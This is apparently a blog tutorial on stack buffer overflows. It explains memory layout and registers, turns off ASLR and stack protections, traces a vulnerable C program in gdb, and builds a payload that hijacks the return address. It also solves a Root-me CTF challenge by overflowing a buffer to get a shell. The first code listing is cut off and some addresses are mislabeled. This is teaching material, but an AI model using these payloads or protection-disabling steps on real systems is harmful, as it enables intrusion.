search instagram arrow-down

Archives

Categories

Meta

Buffer Overflow

Introduction

Here we will focus on stack based buffer overflow. A buffer is an area of memory allocated with a fixed size. Buffer Overflow is the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffer. This vulnerability arises due to the mixing of the storage for data(eg. buffers) and the storage of controls(eg. return address). C Programming language assumes that its the programmer responsibility for data integrity. This responsibility is not shifted to the compiler since it makes the resulting binary significantly slower. In C, if a programmer wants to put 15 bytes of data into a buffer that had only been allocated 10 bytes of space, that type of action is allowed, even the program ultimately crash. This is known as buffer overflow since the extra 5 bytes of data will overflow and spill out of the allocated memory overwriting whatever come next. Generally functions such as scanf, gets, strcpy, sprintf are vulnerable to buffer overflow. 

Memory Layout

In order to understand the Buffer Overflow, we have to understand the memory layout when program is running. Figure shows memory organization of a typical program.

Memory Organization in a typical program

When a program is loaded, its organized into three areas of memory.

  1. Text Segment: Contains the code or executable binary.
  2. Stack Segment:  Stack is used to store local variables and is used for passing arguments to the functions along with the return address of the instruction which is to be executed after the function call is over.  Divided into two parts.
    • Initialized data segment: All the global, static and constant data are stored in the data segment.
    • Uninitialized data segment: all the uninitialized data segment are stored in BSS.
  3. Heap Segment: When a program allocate memory at runtime using calloc and malloc function, then memory get allocated in heap.

Heap and Stack are located in opposite ends of the process’s virtual address space.

  1. EAX: Accumulator
  2. EBX: Base
  3. ECX: Counter
  4. EDX: Data
  5. EIP: Instruction Pointer
  6. ESP: Stack Pointer
  7. EBP: Base Pointer
  8. ESI: Source Index.

Among them, ESP, EBP and EIP are particularly interesting. ESP and EBP together keep track of the stack frame of the currently executing function.

EIP stored the address of the next instruction to be executed. After every instruction execution its value is incremented depending upon the size of the instruction.

ESP stores the address of the top of the stack. This is the address of the last element of the stack. Since stack grows downward in memory from higher address to lower address value, the ESP points to the stack at lowest memory address.

EBP register usually set to the ESP at the start of the function. This is done to keep track of the parameters and local variables. Local variables are accessed by subtracting offsets from EBP and function parameters are accessed by adding offsets to it.

Simple Vulnerable Program
#include <stdio.h>
#include <string.h>
 printf("Congratulation Execution Hijacked:\n");
       }
void function1(char *str){
 char buffer[5];
 strcpy(buffer,str);
      }
void main(int argc,char *argv[]){
 function1(argv[1]);
 printf("Executed Normally\n");
 }
 

Linux system generally have implemented several security mechanism to make the buffer overflow attack difficult. In order to do experiment we have to disable them.

Address Space Randomization(ASLR): It is used to randomize starting address of heap and stack.  To disable it

sudo sysctl -w kernel.randomize_va_space=0

The Stack Guard Protection Scheme: The GCC compiler implements a security mechanism known as stack guard. In the presence of this guard buffer overflow may not work. To disable it compile the program as:

gcc  -fno-stack-protector example-prog1.c

Non-Executable stack: Binary program needs to declare at the beginning of their header whether they require the executable stack or not. By default stack is set non executable. To set the stack executable, use the following option to compile the program using gcc.

gcc  -z example-prog1.c

compile the above program using

gcc -ggdb -z execstack -fno-stack-protector buf2.c -o buf2

daya@ubuntu:~$ ./buf2 AAAA
Executed Normally:
daya@ubuntu:~$ ./buf2 AAAAAAAAAAAAAA
Executed Normally:
Segmentation fault (core dumped)

 

In order to see what is happening in the program we execute the program in gdb and setting break point we would observe the registers and how the program in being executed.


gdb ./buf2 
(gdb) set disassembly-flavor intel
(gdb) list 1,18

1 #include <stdio.h>
2 #include <string.h>
3 void overflowed(){
4  printf("Execution Hijacked\n");
5  }
6 
7 void function1(char *str){
8  char buffer[5];
9  strcpy(buffer,str);
10  }
11 
12 
13 void main(int argc, char *argv[]){
14  function1(argv[1]);
15  printf("Executed Normally:\n");
16  }
17

We will pause the execution right before the main calls function1. We will also set the break points inside function1 right before strcpy is executed and directly afterward it.

(gdb) b 14
Breakpoint 1 at 0x804844b: file buf2.c, line 14.
(gdb) b 9
Breakpoint 2 at 0x804842e: file buf2.c, line 9.
(gdb) b 10
Breakpoint 3 at 0x8048440: file buf2.c, line 10.
(gdb) run AAAA
Starting program: /home/daya/Documents/Offensive-Security/Buffer-Overflow/buf2 AAAA
Breakpoint 1, main (argc=2, argv=0xbffff704) at buf2.c:14
14

we examine the content of memory with x flags. Memory contents are displayed in hex. This prints sixteen four bytes words in Hex format. Far left we have memory address in 16 bytes increments, followed by the contents of the memory of these addresses.


(gdb) x/16xw $esp
0xbffff650: 0xb7fed230 0x00000000 0x08048479 0xb7fc4ff4
0xbffff660: 0x08048470 0x00000000 0x00000000 0xb7e39533
0xbffff670: 0x00000002 0xbffff704 0xbffff710 0xb7fdc858
0xbffff680: 0x00000000 0xbffff71c 0xbffff710 0x00000000

We can also find the ebp(which points at the bottom or highest address) of mains stack frame with the command x/1xw $ebp.


(gdb) x/1xw $ebp
0xbffff668: 0x00000000

Based on the value of ebp and esp, main’s stack frame looks like:

(gdb) x/16xw $esp
0xbffff650: 0xb7fed230 0x00000000 0x08048479 0xb7fc4ff4
0xbffff660: 0x08048470 0x00000000 0x00000000

info registers
(gdb) info registers
eax            0x2 2
ecx            0xbffff704 -1073744124
edx            0xbffff694 -1073744236
ebx            0xb7fc4ff4 -1208201228
esp            0xbffff650 0xbffff650
ebp            0xbffff668 0xbffff668
esi            0x0 0
edi            0x0 0
eip            0x804844b 0x804844b <main+9>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

 


(gdb) x/16xw $esp
0xbffff620: 0xbffff63b 0xbffff86a 0x00000002 0x080482fd
0xbffff630: 0xb7fc53e4 0x00000014 0x41049ff4 0x00414141
0xbffff640: 0xffffffff 0xb7e52dd6 0xbffff668 0x0804845b
0xbffff650: 0xbffff86a 0x00000000 0x08048479 0xb7fc4ff4
(gdb) x/1xw $ebp
0xbffff648: 0xbffff668

Function1 stack frames

0xbffff620: 0xbffff63b 0xbffff86a 0x00000002 0x080482fd
0xbffff630: 0xb7fc53e4 0x00000014 0x41049ff4 0x00414141
0xbffff640: 0xffffffff 0xb7e52dd6 0xbffff668

Dump of assembler code for function main:

   0x08048442 <+0>: push   %ebp
   0x08048443 <+1>: mov    %esp,%ebp
   0x08048445 <+3>: and    $0xfffffff0,%esp
   0x08048448 <+6>: sub    $0x10,%esp
   0x0804844b <+9>: mov    0xc(%ebp),%eax
   0x0804844e <+12>: add    $0x4,%eax
   0x08048451 <+15>: mov    (%eax),%eax
   0x08048453 <+17>: mov    %eax,(%esp)
   0x08048456 <+20>: call   0x8048428 <function1>
   0x0804845b <+25>: movl   $0x8048553,(%esp)
   0x08048462 <+32>: call   0x8048330 <puts@plt>
   0x08048467 <+37>: leave 
   0x08048468 <+38>: ret    

End of assembler dump.

(gdb) 

This shows that, return address for main is 0x0804845b. 

Crashing the program: 


(gdb) x/30xw $esp
0xbffff610: 0xbffff62b 0xbffff84f 0x00000002 0x080482fd
0xbffff620: 0xb7fc53e4 0x00000014 0x41049ff4 0x41414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff640: 0x41414141 0x41414141 0x08040041 0xb7fc4ff4
0xbffff650: 0x08048470 0x00000000 0x00000000 0xb7e39533
0xbffff660: 0x00000002 0xbffff6f4 0xbffff700 0xb7fdc858
0xbffff670: 0x00000000 0xbffff61c 0xbffff700 0x00000000
0xbffff680: 0x0804822c 0xb7fc4ff4

The position of return address of main in highlighted in red text. In order to verify it, Let us provide 17’s A and 4 B’s i.e:

(gdb) run $(python -c 'print "A"*17+"B"*4')
(gdb) x/30xw $esp
0xbffff610: 0xbffff62b 0xbffff858 0x00000002 0x080482fd
0xbffff620: 0xb7fc53e4 0x00000014 0x41049ff4 0x41414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffff640: 0xbffff800 0x00000000 0x08048479 0xb7fc4ff4
0xbffff650: 0x08048470 0x00000000 0x00000000 0xb7e39533
0xbffff660: 0x00000002 0xbffff6f4 0xbffff700 0xb7fdc858
0xbffff670: 0x00000000 0xbffff61c 0xbffff700 0x00000000
0xbffff680: 0x0804822c 0xb7fc4ff4

It verifies that the given address is the return address for the main function. Now, we need to design the payload such that instead of values of B in the return address we would pass the value of address of overflowed function in the payload ultimately making overflowed function executable though its never called. In order to find the address of function just run the command, disassemble overflowed

 

(gdb) disassemble overflowed
Dump of assembler code for function overflowed:
   0x08048414 <+0>: push   %ebp
   0x08048415 <+1>: mov    %esp,%ebp
   0x08048417 <+3>: sub    $0x18,%esp
   0x0804841a <+6>: movl   $0x8048540,(%esp)
   0x08048421 <+13>: call   0x8048330 <puts@plt>
   0x08048426 <+18>: leave 
   0x08048427 <+19>: ret    
End of assembler dump.

address of function1 is 0x08048428. Now design payload as:

./buf2 $(python -c 'print "A"*17+"\x14\x84\x04\x08"')
Execution Hijacked
Segmentation fault (core dumped)

 

 

Root-me Challenges(Buffer OverFlow)

#include <stdlib.h>
#include <stdio.h>

/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

 

Here the challenge is to execute a shell. you can do simply overflowing the buffer.
python -c "print 'A'*40+ 'BBBC'" |./ch13 
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBC
[check] 0x43424242
You are on the right way!

 

python -c "print 'A'*40+'\xef\xbe\xad\xde'" |./ch13 
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ?
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
Shell closed! Bye.

 

 

So, to solve the time out issue:
cat <(python -c "print 'A'*40+'\xef\xbe\xad\xde'") - |./ch13 
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ?
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
You will get the shell
whoami
app-systeme-ch13-cracked

 

Leave a Reply
Your email address will not be published. Required fields are marked *

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: